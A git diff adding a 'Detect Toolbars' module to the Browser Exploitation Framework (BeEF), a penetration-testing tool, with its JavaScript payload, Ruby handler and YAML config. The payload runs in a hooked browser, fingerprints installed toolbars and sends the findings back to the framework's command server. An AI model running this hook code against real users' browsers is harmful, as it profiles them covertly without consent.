diff --git a/.gitignore b/.gitignore index c02e0a406..0801089b3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,8 @@ beef.db test/msf-test -custom-config.yaml \ No newline at end of file +custom-config.yaml +.DS_Store + +.gitignore + +.gitignore diff --git a/modules/browser/detect_toolbars/command.js b/modules/browser/detect_toolbars/command.js new file mode 100644 index 000000000..681e718cc --- /dev/null +++ b/modules/browser/detect_toolbars/command.js @@ -0,0 +1,61 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var toolbar_ua = new Array ( + new Array (" Alexa Toolbar", " Alexa"), + new Array (" AskTbS-PV", " Ask"), + new Array (" BRI", " Bing"), + new Array (" GTB", " Google"), + new Array (" SU ", " Stumble Upon") + ) + + var toolbar_id = new Array ( + new Array ("AlexaCustomScriptId", " Alexa") + ) + + var result = ''; + var separator = ", "; + + // CHECK USER-AGENT + for (var i = 0; i < toolbar_ua.length; i++) { + + var agentRegex = new RegExp( toolbar_ua[i][0], 'g' ); + + if ( agentRegex.exec(navigator.userAgent) ) { + + result += toolbar_ua[i][1] + separator; + + } + } + + // CHECK ELEMENT ID (DOM) + for (var i = 0; i < toolbar_id.length; i++) { + + var element = document.getElementById( toolbar_id[i][0] ); + + if ( typeof(element) != 'undefined' && element != null ) { + + result += toolbar_id[i][1] + separator; + + } + } + + // ENDING + if ( result != '' ) { + + result = result.slice(0, -separator.length); + + } else if ( result == '' ) { + + result = " no toolbars detected"; + + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "toolbars="+result); + +}); \ No newline at end of file diff --git a/modules/browser/detect_toolbars/config.yaml b/modules/browser/detect_toolbars/config.yaml new file mode 100644 index 000000000..de53eabf7 --- /dev/null +++ b/modules/browser/detect_toolbars/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + Detect_toolbars: + enable: true + category: "Browser" + name: "Detect Toolbars" + description: "Detects which browser toolbars are installed." + authors: ["gcattani"] + target: + working: ["All"] + not_working: ["None"] diff --git a/modules/browser/detect_toolbars/module.rb b/modules/browser/detect_toolbars/module.rb new file mode 100644 index 000000000..dbf8b0766 --- /dev/null +++ b/modules/browser/detect_toolbars/module.rb @@ -0,0 +1,14 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Detect_toolbars < BeEF::Core::Command + + def post_execute + content = {} + content['toolbars'] = @datastore['toolbars'] + save content + end + +end \ No newline at end of file